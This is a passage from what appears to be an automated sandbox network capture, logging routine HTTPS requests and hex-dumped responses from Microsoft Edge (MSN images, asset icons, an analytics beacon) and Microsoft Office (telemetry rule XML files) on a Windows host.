2024-11-23 00:14:35 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49854	23.200.3.13	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:35 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:35 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sun, 10 Nov 2024 06:13:55 GMT X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 97c9e9a8-9f6b-4148-a090-188006f62cf6 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=107996 Expires: Sun, 24 Nov 2024 06:14:31 GMT Date: Sat, 23 Nov 2024 00:14:35 GMT Connection: close
2024-11-23 00:14:35 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49856	23.200.3.13	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:35 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:35 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=306733 Expires: Tue, 26 Nov 2024 13:26:48 GMT Date: Sat, 23 Nov 2024 00:14:35 GMT Connection: close
2024-11-23 00:14:35 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49857	23.200.3.13	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:35 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:35 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=205327 Expires: Mon, 25 Nov 2024 09:16:42 GMT Date: Sat, 23 Nov 2024 00:14:35 GMT Connection: close
2024-11-23 00:14:35 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49860	18.173.132.116	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:35 UTC	1012	OUT	GET /b2?rn=1732320871730&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=175F64EB34B4667D05E971AB35C6675C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=13D667ef23f1ce4166d46aa1732320873; XID=13D667ef23f1ce4166d46aa1732320873
2024-11-23 00:14:35 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Sat, 23 Nov 2024 00:14:35 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 91ac4dab8fb53750ccb2571903bd2844.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P2 X-Amz-Cf-Id: Id4fNcQYe_JoSBKNKP8_LGzs-dizj_P51Zi6apmPubSUGvBpgraXWA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49859	13.107.246.40	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:35 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:36 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:36 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: ba0503ac-c01e-0053-172a-3d7408000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T001436Z-178bfbc474bvjk8shC1NYC83ns00000003gg00000000eqdv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 00:14:36 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49861	13.107.246.40	443	3620	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:36 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 00:14:36 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:36 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 18408825-201e-001d-5ef8-3cb1ed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T001436Z-174c587ffdfks6tlhC1TEBeza40000000280000000009sse Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 00:14:36 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:36 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:37 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9f194ed4-601e-0070-357c-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001437Z-174c587ffdfldtt2hC1TEBwv9c000000020000000000bs8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:37 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:36 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: a7985a29-001e-0046-374c-3cda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001437Z-15b8b599d88phfhnhC1TEBr51n00000002b0000000005gs5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:36 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:37 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: d277967d-801e-0047-0163-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001437Z-178bfbc474brk967hC1NYCfu6000000003h0000000007kgh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:37 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:37 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:37 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001437Z-174c587ffdfmlsmvhC1TEBvyks000000026g00000000s5ts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 00:14:37 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 00:14:37 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 00:14:37 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 00:14:37 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 171ae584-101e-005a-6763-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T001437Z-178bfbc474bpscmfhC1NYCfc2c000000028000000000fk8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
